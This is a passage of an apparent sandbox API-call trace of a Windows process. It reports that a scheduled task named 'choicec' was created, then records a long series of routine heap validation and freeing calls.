_ArgList=0xdccd8 | out: _Buffer="SUCCESS: The scheduled task \"choicec\" has successfully been created.\n") returned 69 [0064.223] _fileno (_File=0x7feffe22ab0) returned -2 [0064.223] _errno () returned 0x484bb0 [0064.223] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0064.224] SetLastError (dwErrCode=0x6) [0064.224] lstrlenW (lpString="SUCCESS: The scheduled task \"choicec\" has successfully been created.\n") returned 69 [0064.224] GetConsoleOutputCP () returned 0x0 [0064.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"choicec\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0064.224] GetConsoleOutputCP () returned 0x0 [0064.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"choicec\" has successfully been created.\n", cchWideChar=69, lpMultiByteStr=0xffe51880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"choicec\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 69 [0064.224] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 69 [0064.224] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0064.224] IUnknown:Release (This=0x4869e0) returned 0x0 [0064.224] TaskScheduler:IUnknown:Release (This=0x487e20) returned 0x0 [0064.224] TaskScheduler:IUnknown:Release (This=0x487dd0) returned 0x0 [0064.224] TaskScheduler:IUnknown:Release (This=0x34dee0) returned 0x1 [0064.224] lstrlenW (lpString="") returned 0 [0064.224] lstrlenW (lpString="12") returned 2 [0064.224] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="12", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0064.224] GetProcessHeap () returned 0x240000 [0064.225] GetProcessHeap () returned 0x240000 [0064.225] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c4c0) returned 1 [0064.225] GetProcessHeap () returned 0x240000 [0064.225] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c4c0) returned 0x1fc [0064.225] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c4c0 | out: hHeap=0x240000) returned 1 [0064.225] GetProcessHeap () returned 0x240000 [0064.225] GetProcessHeap () returned 0x240000 [0064.225] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255560) returned 1 [0064.225] GetProcessHeap () returned 0x240000 [0064.225] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255560) returned 0x6 [0064.226] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255560 | out: hHeap=0x240000) returned 1 [0064.226] GetProcessHeap () returned 0x240000 [0064.226] GetProcessHeap () returned 0x240000 [0064.226] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d690) returned 1 [0064.226] GetProcessHeap () returned 0x240000 [0064.226] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d690) returned 0x16 [0064.226] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d690 | out: hHeap=0x240000) returned 1 [0064.226] GetProcessHeap () returned 0x240000 [0064.226] GetProcessHeap () returned 0x240000 [0064.226] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d670) returned 1 [0064.226] GetProcessHeap () returned 0x240000 [0064.226] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d670) returned 0x18 [0064.226] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d670 | out: hHeap=0x240000) returned 1 [0064.226] GetProcessHeap () returned 0x240000 [0064.226] GetProcessHeap () returned 0x240000 [0064.226] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cee0) returned 1 [0064.226] GetProcessHeap () returned 0x240000 [0064.226] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cee0) returned 0x20 [0064.227] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cee0 | out: hHeap=0x240000) returned 1 [0064.227] GetProcessHeap () returned 0x240000 [0064.227] GetProcessHeap () returned 0x240000 [0064.227] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c160) returned 1 [0064.227] GetProcessHeap () returned 0x240000 [0064.227] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c160) returned 0xa0 [0064.227] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c160 | out: hHeap=0x240000) returned 1 [0064.227] GetProcessHeap () returned 0x240000 [0064.227] GetProcessHeap () returned 0x240000 [0064.227] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bbe0) returned 1 [0064.227] GetProcessHeap () returned 0x240000 [0064.227] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bbe0) returned 0x18 [0064.228] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bbe0 | out: hHeap=0x240000) returned 1 [0064.228] GetProcessHeap () returned 0x240000 [0064.228] GetProcessHeap () returned 0x240000 [0064.228] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cca0) returned 1 [0064.228] GetProcessHeap () returned 0x240000 [0064.228] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cca0) returned 0x20 [0064.228] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cca0 | out: hHeap=0x240000) returned 1 [0064.228] GetProcessHeap () returned 0x240000 [0064.228] GetProcessHeap () returned 0x240000 [0064.228] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3c0) returned 1 [0064.228] GetProcessHeap () returned 0x240000 [0064.228] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c3c0) returned 0x88 [0064.229] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3c0 | out: hHeap=0x240000) returned 1 [0064.229] GetProcessHeap () returned 0x240000 [0064.229] GetProcessHeap () returned 0x240000 [0064.229] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d6b0) returned 1 [0064.229] GetProcessHeap () returned 0x240000 [0064.229] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d6b0) returned 0x18 [0064.229] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d6b0 | out: hHeap=0x240000) returned 1 [0064.229] GetProcessHeap () returned 0x240000 [0064.229] GetProcessHeap () returned 0x240000 [0064.229] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc70) returned 1 [0064.229] GetProcessHeap () returned 0x240000 [0064.229] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cc70) returned 0x20 [0064.230] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc70 | out: hHeap=0x240000) returned 1 [0064.230] GetProcessHeap () returned 0x240000 [0064.230] GetProcessHeap () returned 0x240000 [0064.230] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25de20) returned 1 [0064.230] GetProcessHeap () returned 0x240000 [0064.230] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25de20) returned 0x8a [0064.230] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25de20 | out: hHeap=0x240000) returned 1 [0064.231] GetProcessHeap () returned 0x240000 [0064.231] GetProcessHeap () returned 0x240000 [0064.231] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d650) returned 1 [0064.231] GetProcessHeap () returned 0x240000 [0064.231] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d650) returned 0x18 [0064.231] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d650 | out: hHeap=0x240000) returned 1 [0064.231] GetProcessHeap () returned 0x240000 [0064.231] GetProcessHeap () returned 0x240000 [0064.231] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc40) returned 1 [0064.231] GetProcessHeap () returned 0x240000 [0064.231] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cc40) returned 0x20 [0064.231] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cc40 | out: hHeap=0x240000) returned 1 [0064.231] GetProcessHeap () returned 0x240000 [0064.231] GetProcessHeap () returned 0x240000 [0064.231] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c4a0) returned 1 [0064.231] GetProcessHeap () returned 0x240000 [0064.231] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c4a0) returned 0xe [0064.231] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c4a0 | out: hHeap=0x240000) returned 1 [0064.231] GetProcessHeap () returned 0x240000 [0064.231] GetProcessHeap () returned 0x240000 [0064.231] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c480) returned 1 [0064.232] GetProcessHeap () returned 0x240000 [0064.232] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c480) returned 0x18 [0064.232] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c480 | out: hHeap=0x240000) returned 1 [0064.232] GetProcessHeap () returned 0x240000 [0064.232] GetProcessHeap () returned 0x240000 [0064.232] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255e70) returned 1 [0064.232] GetProcessHeap () returned 0x240000 [0064.232] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255e70) returned 0x20 [0064.232] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255e70 | out: hHeap=0x240000) returned 1 [0064.232] GetProcessHeap () returned 0x240000 [0064.232] GetProcessHeap () returned 0x240000 [0064.232] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bd60) returned 1 [0064.232] GetProcessHeap () returned 0x240000 [0064.232] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bd60) returned 0x208 [0064.232] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bd60 | out: hHeap=0x240000) returned 1 [0064.233] GetProcessHeap () returned 0x240000 [0064.233] GetProcessHeap () returned 0x240000 [0064.233] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bbc0) returned 1 [0064.233] GetProcessHeap () returned 0x240000 [0064.233] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bbc0) returned 0x18 [0064.233] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bbc0 | out: hHeap=0x240000) returned 1 [0064.233] GetProcessHeap () returned 0x240000 [0064.233] GetProcessHeap () returned 0x240000 [0064.233] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255d80) returned 1 [0064.233] GetProcessHeap () returned 0x240000 [0064.233] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255d80) returned 0x20 [0064.234] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255d80 | out: hHeap=0x240000) returned 1 [0064.234] GetProcessHeap () returned 0x240000 [0064.234] GetProcessHeap () returned 0x240000 [0064.234] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d410) returned 1 [0064.234] GetProcessHeap () returned 0x240000 [0064.234] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d410) returned 0x200 [0064.234] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d410 | out: hHeap=0x240000) returned 1 [0064.234] GetProcessHeap () returned 0x240000 [0064.234] GetProcessHeap () returned 0x240000 [0064.234] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc00) returned 1 [0064.234] GetProcessHeap () returned 0x240000 [0064.236] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bc00) returned 0x18 [0064.236] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc00 | out: hHeap=0x240000) returned 1 [0064.236] GetProcessHeap () returned 0x240000 [0064.236] GetProcessHeap () returned 0x240000 [0064.236] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255cf0) returned 1 [0064.236] GetProcessHeap () returned 0x240000 [0064.236] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255cf0) returned 0x20 [0064.237] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255cf0 | out: hHeap=0x240000) returned 1 [0064.237] GetProcessHeap () returned 0x240000 [0064.237] GetProcessHeap () returned 0x240000 [0064.237] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c370) returned 1 [0064.237] GetProcessHeap () returned 0x240000 [0064.237] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c370) returned 0x14 [0064.237] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c370 | out: hHeap=0x240000) returned 1 [0064.237] GetProcessHeap () returned 0x240000 [0064.237] GetProcessHeap () returned 0x240000 [0064.237] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c350) returned 1 [0064.237] GetProcessHeap () returned 0x240000 [0064.237] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c350) returned 0x18 [0064.237] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c350 | out: hHeap=0x240000) returned 1 [0064.237] GetProcessHeap () returned 0x240000 [0064.237] GetProcessHeap () returned 0x240000 [0064.237] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c30) returned 1 [0064.237] GetProcessHeap () returned 0x240000 [0064.237] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c30) returned 0x20 [0064.238] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c30 | out: hHeap=0x240000) returned 1 [0064.238] GetProcessHeap () returned 0x240000 [0064.238] GetProcessHeap () returned 0x240000 [0064.238] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c390) returned 1 [0064.238] GetProcessHeap () returned 0x240000 [0064.238] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c390) returned 0x16 [0064.238] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c390 | out: hHeap=0x240000) returned 1 [0064.238] GetProcessHeap () returned 0x240000 [0064.238] GetProcessHeap () returned 0x240000 [0064.238] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c210) returned 1 [0064.238] GetProcessHeap () returned 0x240000 [0064.238] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c210) returned 0x18 [0064.238] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c210 | out: hHeap=0x240000) returned 1 [0064.238] GetProcessHeap () returned 0x240000 [0064.238] GetProcessHeap () returned 0x240000 [0064.238] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c00) returned 1 [0064.238] GetProcessHeap () returned 0x240000 [0064.238] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c00) returned 0x20 [0064.239] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c00 | out: hHeap=0x240000) returned 1 [0064.239] GetProcessHeap () returned 0x240000 [0064.239] GetProcessHeap () returned 0x240000 [0064.239] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bb40) returned 1 [0064.239] GetProcessHeap () returned 0x240000 [0064.239] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bb40) returned 0x2 [0064.239] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bb40 | out: hHeap=0x240000) returned 1 [0064.239] GetProcessHeap () returned 0x240000 [0064.239] GetProcessHeap () returned 0x240000 [0064.239] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255a50) returned 1 [0064.239] GetProcessHeap () returned 0x240000 [0064.239] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255a50) returned 0x20 [0064.239] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255a50 | out: hHeap=0x240000) returned 1 [0064.239] GetProcessHeap () returned 0x240000 [0064.239] GetProcessHeap () returned 0x240000 [0064.240] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255a80) returned 1 [0064.240] GetProcessHeap () returned 0x240000 [0064.240] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255a80) returned 0x20 [0064.240] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255a80 | out: hHeap=0x240000) returned 1 [0064.240] GetProcessHeap () returned 0x240000 [0064.240] GetProcessHeap () returned 0x240000 [0064.240] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255ab0) returned 1 [0064.240] GetProcessHeap () returned 0x240000 [0064.240] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255ab0) returned 0x20 [0064.241] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255ab0 | out: hHeap=0x240000) returned 1 [0064.241] GetProcessHeap () returned 0x240000 [0064.241] GetProcessHeap () returned 0x240000 [0064.241] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255ae0) returned 1 [0064.241] GetProcessHeap () returned 0x240000 [0064.241] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255ae0) returned 0x20 [0064.241] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255ae0 | out: hHeap=0x240000) returned 1 [0064.242] GetProcessHeap () returned 0x240000 [0064.242] GetProcessHeap () returned 0x240000 [0064.242] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ccd0) returned 1 [0064.242] GetProcessHeap () returned 0x240000 [0064.242] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ccd0) returned 0x20 [0064.242] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ccd0 | out: hHeap=0x240000) returned 1 [0064.242] GetProcessHeap () returned 0x240000 [0064.242] GetProcessHeap () returned 0x240000 [0064.242] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d7b0) returned 1 [0064.242] GetProcessHeap () returned 0x240000 [0064.242] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d7b0) returned 0xe [0064.242] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d7b0 | out: hHeap=0x240000) returned 1 [0064.242] GetProcessHeap () returned 0x240000 [0064.242] GetProcessHeap () returned 0x240000 [0064.242] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd00) returned 1 [0064.242] GetProcessHeap () returned 0x240000 [0064.242] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd00) returned 0x20 [0064.243] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd00 | out: hHeap=0x240000) returned 1 [0064.243] GetProcessHeap () returned 0x240000 [0064.243] GetProcessHeap () returned 0x240000 [0064.243] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x257be0) returned 1 [0064.243] GetProcessHeap () returned 0x240000 [0064.243] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x257be0) returned 0x30 [0064.243] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x257be0 | out: hHeap=0x240000) returned 1 [0064.243] GetProcessHeap () returned 0x240000 [0064.243] GetProcessHeap () returned 0x240000 [0064.243] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd30) returned 1 [0064.244] GetProcessHeap () returned 0x240000 [0064.244] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd30) returned 0x20 [0064.244] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd30 | out: hHeap=0x240000) returned 1 [0064.244] GetProcessHeap () returned 0x240000 [0064.244] GetProcessHeap () returned 0x240000 [0064.244] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x257c20) returned 1 [0064.244] GetProcessHeap () returned 0x240000 [0064.244] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x257c20) returned 0x30 [0064.244] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x257c20 | out: hHeap=0x240000) returned 1 [0064.244] GetProcessHeap () returned 0x240000 [0064.244] GetProcessHeap () returned 0x240000 [0064.244] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ceb0) returned 1 [0064.244] GetProcessHeap () returned 0x240000 [0064.244] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ceb0) returned 0x20 [0064.245] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ceb0 | out: hHeap=0x240000) returned 1 [0064.245] GetProcessHeap () returned 0x240000 [0064.245] GetProcessHeap () returned 0x240000 [0064.245] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d6d0) returned 1 [0064.245] GetProcessHeap () returned 0x240000 [0064.245] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d6d0) returned 0xe [0064.245] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d6d0 | out: hHeap=0x240000) returned 1 [0064.245] GetProcessHeap () returned 0x240000 [0064.245] GetProcessHeap () returned 0x240000 [0064.245] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce80) returned 1 [0064.245] GetProcessHeap () returned 0x240000 [0064.245] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ce80) returned 0x20 [0064.245] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce80 | out: hHeap=0x240000) returned 1 [0064.245] GetProcessHeap () returned 0x240000 [0064.245] GetProcessHeap () returned 0x240000 [0064.245] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d6f0) returned 1 [0064.245] GetProcessHeap () returned 0x240000 [0064.245] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d6f0) returned 0x16 [0064.246] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d6f0 | out: hHeap=0x240000) returned 1 [0064.246] GetProcessHeap () returned 0x240000 [0064.246] GetProcessHeap () returned 0x240000 [0064.246] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce50) returned 1 [0064.246] GetProcessHeap () returned 0x240000 [0064.246] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ce50) returned 0x20 [0064.246] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce50 | out: hHeap=0x240000) returned 1 [0064.246] GetProcessHeap () returned 0x240000 [0064.246] GetProcessHeap () returned 0x240000 [0064.246] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d710) returned 1 [0064.246] GetProcessHeap () returned 0x240000 [0064.246] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d710) returned 0x16 [0064.246] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d710 | out: hHeap=0x240000) returned 1 [0064.246] GetProcessHeap () returned 0x240000 [0064.246] GetProcessHeap () returned 0x240000 [0064.246] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce20) returned 1 [0064.246] GetProcessHeap () returned 0x240000 [0064.246] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ce20) returned 0x20 [0064.247] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce20 | out: hHeap=0x240000) returned 1 [0064.247] GetProcessHeap () returned 0x240000 [0064.247] GetProcessHeap () returned 0x240000 [0064.247] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x279d40) returned 1 [0064.247] GetProcessHeap () returned 0x240000 [0064.247] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x279d40) returned 0x82 [0064.247] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x279d40 | out: hHeap=0x240000) returned 1 [0064.247] GetProcessHeap () returned 0x240000 [0064.247] GetProcessHeap () returned 0x240000 [0064.247] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cdf0) returned 1 [0064.247] GetProcessHeap () returned 0x240000 [0064.247] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cdf0) returned 0x20 [0064.248] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cdf0 | out: hHeap=0x240000) returned 1 [0064.248] GetProcessHeap () returned 0x240000 [0064.248] GetProcessHeap () returned 0x240000 [0064.248] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d750) returned 1 [0064.248] GetProcessHeap () returned 0x240000 [0064.248] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d750) returned 0xe [0064.248] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d750 | out: hHeap=0x240000) returned 1 [0064.248] GetProcessHeap () returned 0x240000 [0064.248] GetProcessHeap () returned 0x240000 [0064.248] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cdc0) returned 1 [0064.248] GetProcessHeap () returned 0x240000 [0064.248] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cdc0) returned 0x20 [0064.248] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cdc0 | out: hHeap=0x240000) returned 1 [0064.249] GetProcessHeap () returned 0x240000 [0064.249] GetProcessHeap () returned 0x240000 [0064.249] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d770) returned 1 [0064.249] GetProcessHeap () returned 0x240000 [0064.249] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d770) returned 0xa [0064.249] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d770 | out: hHeap=0x240000) returned 1 [0064.249] GetProcessHeap () returned 0x240000 [0064.249] GetProcessHeap () returned 0x240000 [0064.249] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd90) returned 1 [0064.249] GetProcessHeap () returned 0x240000 [0064.249] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd90) returned 0x20 [0064.249] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd90 | out: hHeap=0x240000) returned 1 [0064.249] GetProcessHeap () returned 0x240000 [0064.249] GetProcessHeap () returned 0x240000 [0064.249] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d790) returned 1 [0064.249] GetProcessHeap () returned 0x240000 [0064.249] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d790) returned 0xc [0064.249] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d790 | out: hHeap=0x240000) returned 1 [0064.249] GetProcessHeap () returned 0x240000 [0064.250] GetProcessHeap () returned 0x240000 [0064.250] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd60) returned 1 [0064.250] GetProcessHeap () returned 0x240000 [0064.250] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cd60) returned 0x20 [0064.250] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd60 | out: hHeap=0x240000) returned 1 [0064.250] GetProcessHeap () returned 0x240000 [0064.250] GetProcessHeap () returned 0x240000 [0064.250] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bb60) returned 1 [0064.250] GetProcessHeap () returned 0x240000 [0064.250] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bb60) returned 0x18 [0064.250] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bb60 | out: hHeap=0x240000) returned 1 [0064.250] GetProcessHeap () returned 0x240000 [0064.250] GetProcessHeap () returned 0x240000 [0064.250] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255b10) returned 1 [0064.250] GetProcessHeap () returned 0x240000 [0064.250] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b10) returned 0x20 [0064.251] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b10 | out: hHeap=0x240000) returned 1 [0064.251] GetProcessHeap () returned 0x240000 [0064.251] GetProcessHeap () returned 0x240000 [0064.251] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255b40) returned 1 [0064.251] GetProcessHeap () returned 0x240000 [0064.251] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b40) returned 0x20 [0064.252] HeapFree (in: hHeap=0x240000, 